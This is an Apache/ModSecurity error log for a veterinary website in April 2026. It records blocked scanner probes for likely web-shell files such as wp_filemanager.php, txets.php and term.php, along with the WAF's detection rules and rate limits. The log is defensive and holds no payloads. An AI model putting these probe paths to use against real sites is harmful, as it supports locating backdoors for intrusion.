[Sun Apr 05 17:07:45.292673 2026] [:error] [pid 45305:tid 45388] [client 192.144.148.122:45390] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adImYejDQjr7aWhjflD2WgAAAJE"]
[Sun Apr 05 18:33:43.715462 2026] [ssl:error] [pid 45305:tid 45392] [client 40.160.16.154:52088] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Sun Apr 05 19:07:41.625909 2026] [ssl:error] [pid 45303:tid 45330] [client 40.160.16.154:24694] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Sun Apr 05 19:26:00.419672 2026] [:error] [pid 45409:tid 45434] [client 102.253.72.10:65356] [client 102.253.72.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.253.72.10, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adJGyNHt_Oyw03gjCNibTAAAANc"]
[Sun Apr 05 20:23:05.823801 2026] [:error] [pid 30921:tid 30938] [client 45.154.98.148:52924] [client 45.154.98.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "adJUKWFGQVn8Q0ueB24DRgAAAQ8"]
[Sun Apr 05 20:23:06.330931 2026] [:error] [pid 45303:tid 45319] [client 45.154.98.148:59830] [client 45.154.98.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "adJUKrboQ9eViZ4hdnkdRwAAAAI"]
[Sun Apr 05 20:23:06.853047 2026] [:error] [pid 45305:tid 45381] [client 45.154.98.148:63817] [client 45.154.98.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "adJUKujDQjr7aWhjflBHugAAAIo"]
[Sun Apr 05 20:23:10.313276 2026] [:error] [pid 30921:tid 30930] [client 45.154.98.148:58777] [client 45.154.98.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "adJULmFGQVn8Q0ueB24DUAAAAQc"]
[Sun Apr 05 21:30:56.518871 2026] [:error] [pid 45409:tid 45435] [client 43.130.116.87:39616] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adJkENHt_Oyw03gjCNgLSwAAANg"]
[Sun Apr 05 22:53:14.247821 2026] [:error] [pid 45409:tid 45429] [client 135.181.180.59:18252] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adJ3WtHt_Oyw03gjCNhT-AAAANI"]
[Sun Apr 05 22:53:17.839898 2026] [:error] [pid 30921:tid 30927] [client 135.181.180.59:41926] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adJ3XWFGQVn8Q0ueB25JDgAAAQQ"]
[Sun Apr 05 22:53:21.815448 2026] [:error] [pid 45409:tid 45412] [client 135.181.180.59:41932] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adJ3YdHt_Oyw03gjCNhUEAAAAME"]
[Sun Apr 05 22:53:24.321613 2026] [:error] [pid 45305:tid 45390] [client 135.181.180.59:41938] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adJ3ZOjDQjr7aWhjflCA4wAAAJM"]
[Sun Apr 05 22:53:27.287732 2026] [:error] [pid 45409:tid 45425] [client 135.181.180.59:5372] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adJ3Z9Ht_Oyw03gjCNhUKAAAAM4"]
[Sun Apr 05 22:53:29.945867 2026] [:error] [pid 45303:tid 45328] [client 135.181.180.59:5380] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "adJ3abboQ9eViZ4hdnl2RgAAAAs"]
[Sun Apr 05 22:53:32.496443 2026] [:error] [pid 45409:tid 45419] [client 135.181.180.59:5384] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "adJ3bNHt_Oyw03gjCNhULwAAAMg"]
[Sun Apr 05 22:53:35.069421 2026] [:error] [pid 45409:tid 45427] [client 135.181.180.59:5388] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "adJ3b9Ht_Oyw03gjCNhUQAAAANA"]
[Sun Apr 05 22:53:37.702492 2026] [:error] [pid 45409:tid 45425] [client 135.181.180.59:48210] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "adJ3cdHt_Oyw03gjCNhUVAAAAM4"]
[Sun Apr 05 22:53:40.172379 2026] [:error] [pid 45304:tid 45344] [client 135.181.180.59:48216] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adJ3dA5jnqDKKovdRkk33gAAAEA"]
[Sun Apr 05 22:53:42.697860 2026] [:error] [pid 45305:tid 45382] [client 135.181.180.59:48218] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adJ3dujDQjr7aWhjflCBCgAAAIs"]
[Sun Apr 05 22:53:45.309808 2026] [:error] [pid 45409:tid 45424] [client 135.181.180.59:4476] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adJ3edHt_Oyw03gjCNhUcwAAAM0"]
[Sun Apr 05 22:53:47.761595 2026] [:error] [pid 45409:tid 45412] [client 135.181.180.59:4486] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adJ3e9Ht_Oyw03gjCNhUgQAAAME"]
[Sun Apr 05 22:53:50.227607 2026] [:error] [pid 45305:tid 45388] [client 135.181.180.59:4488] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "adJ3fujDQjr7aWhjflCBFwAAAJE"]
[Sun Apr 05 22:53:52.693006 2026] [:error] [pid 45409:tid 45426] [client 135.181.180.59:4504] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adJ3gNHt_Oyw03gjCNhUngAAAM8"]
[Sun Apr 05 22:53:55.260490 2026] [:error] [pid 45303:tid 45336] [client 135.181.180.59:7484] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adJ3g7boQ9eViZ4hdnl2jwAAABM"]
[Sun Apr 05 22:53:57.855148 2026] [:error] [pid 30921:tid 30939] [client 135.181.180.59:7490] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adJ3hWFGQVn8Q0ueB25JRgAAARA"]
[Sun Apr 05 22:54:00.303097 2026] [:error] [pid 45409:tid 45415] [client 135.181.180.59:7496] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adJ3iNHt_Oyw03gjCNhU1AAAAMQ"]
[Sun Apr 05 22:54:02.849082 2026] [:error] [pid 45409:tid 45415] [client 135.181.180.59:7512] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adJ3itHt_Oyw03gjCNhU5wAAAMQ"]
[Sun Apr 05 22:54:05.377624 2026] [:error] [pid 45303:tid 45341] [client 135.181.180.59:15962] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adJ3jbboQ9eViZ4hdnl2pAAAABg"]
[Sun Apr 05 22:54:07.983500 2026] [:error] [pid 45303:tid 45331] [client 135.181.180.59:15970] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adJ3j7boQ9eViZ4hdnl2sgAAAA4"]
[Sun Apr 05 23:44:07.763600 2026] [:error] [pid 45303:tid 45326] [client 43.140.247.223:33854] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adKDR7boQ9eViZ4hdnmcmAAAAAk"]
[Sun Apr 05 23:44:47.939095 2026] [:error] [pid 45303:tid 45340] [client 45.13.191.252:22591] [client 45.13.191.252] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adKDb7boQ9eViZ4hdnmdBgAAABc"]
[Mon Apr 06 00:15:48.106381 2026] [:error] [pid 45303:tid 45334] [client 172.161.76.59:59660] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKKtLboQ9eViZ4hdnm0HQAAABE"]
[Mon Apr 06 00:15:52.045670 2026] [:error] [pid 45304:tid 45350] [client 172.161.76.59:60412] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKKuA5jnqDKKovdRklaHAAAAEY"]
[Mon Apr 06 00:15:53.608331 2026] [:error] [pid 45305:tid 45387] [client 172.161.76.59:7350] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKKuejDQjr7aWhjflCnogAAAJA"]
[Mon Apr 06 00:15:59.401517 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:7325] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adKKv9Ht_Oyw03gjCNivnwAAAM4"]
[Mon Apr 06 00:16:00.684152 2026] [:error] [pid 45409:tid 45424] [client 172.161.76.59:63054] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adKKwNHt_Oyw03gjCNivqQAAAM0"]
[Mon Apr 06 00:16:02.197384 2026] [:error] [pid 30921:tid 30941] [client 172.161.76.59:60402] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adKKwmFGQVn8Q0ueB252owAAARI"]
[Mon Apr 06 00:16:03.621696 2026] [:error] [pid 45305:tid 45380] [client 172.161.76.59:54944] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adKKw-jDQjr7aWhjflCnuAAAAIk"]
[Mon Apr 06 00:16:04.405872 2026] [:error] [pid 45303:tid 45318] [client 172.161.76.59:60961] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adKKxLboQ9eViZ4hdnm0dQAAAAE"]
[Mon Apr 06 00:16:05.130286 2026] [:error] [pid 30921:tid 30944] [client 172.161.76.59:54957] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adKKxWFGQVn8Q0ueB252sAAAARU"]
[Mon Apr 06 00:16:05.803191 2026] [:error] [pid 30921:tid 30933] [client 172.161.76.59:59711] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adKKxWFGQVn8Q0ueB252sQAAAQo"]
[Mon Apr 06 00:16:06.361760 2026] [:error] [pid 30921:tid 30939] [client 172.161.76.59:60931] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adKKxmFGQVn8Q0ueB252swAAARA"]
[Mon Apr 06 00:16:06.871357 2026] [:error] [pid 45409:tid 45421] [client 172.161.76.59:59689] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adKKxtHt_Oyw03gjCNivxgAAAMo"]
[Mon Apr 06 00:16:07.483820 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:63078] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adKKx9Ht_Oyw03gjCNivzgAAAM4"]
[Mon Apr 06 00:16:08.218025 2026] [:error] [pid 45304:tid 45355] [client 172.161.76.59:63069] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adKKyA5jnqDKKovdRklaMQAAAEs"]
[Mon Apr 06 00:16:08.827296 2026] [:error] [pid 30921:tid 30923] [client 172.161.76.59:63048] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adKKyGFGQVn8Q0ueB252uwAAAQA"]
[Mon Apr 06 00:16:09.474603 2026] [:error] [pid 45304:tid 45352] [client 172.161.76.59:7306] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adKKyQ5jnqDKKovdRklaOAAAAEg"]
[Mon Apr 06 00:16:10.111593 2026] [:error] [pid 45303:tid 45338] [client 172.161.76.59:60980] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adKKyrboQ9eViZ4hdnm0iQAAABU"]
[Mon Apr 06 00:16:10.775808 2026] [:error] [pid 45409:tid 45411] [client 172.161.76.59:60941] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adKKytHt_Oyw03gjCNiv1wAAAMA"]
[Mon Apr 06 00:16:11.504301 2026] [:error] [pid 45409:tid 45416] [client 172.161.76.59:53190] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adKKy9Ht_Oyw03gjCNiv3AAAAMU"]
[Mon Apr 06 00:16:12.757175 2026] [:error] [pid 45409:tid 45413] [client 172.161.76.59:59648] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adKKzNHt_Oyw03gjCNiv5QAAAMI"]
[Mon Apr 06 00:16:13.859880 2026] [:error] [pid 45409:tid 45413] [client 172.161.76.59:60960] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adKKzdHt_Oyw03gjCNiv7gAAAMI"]
[Mon Apr 06 00:16:15.145934 2026] [:error] [pid 45409:tid 45433] [client 172.161.76.59:59706] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adKKz9Ht_Oyw03gjCNiv9wAAANY"]
[Mon Apr 06 00:16:16.099006 2026] [:error] [pid 45409:tid 45428] [client 172.161.76.59:54966] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "adKK0NHt_Oyw03gjCNiwAwAAANE"]
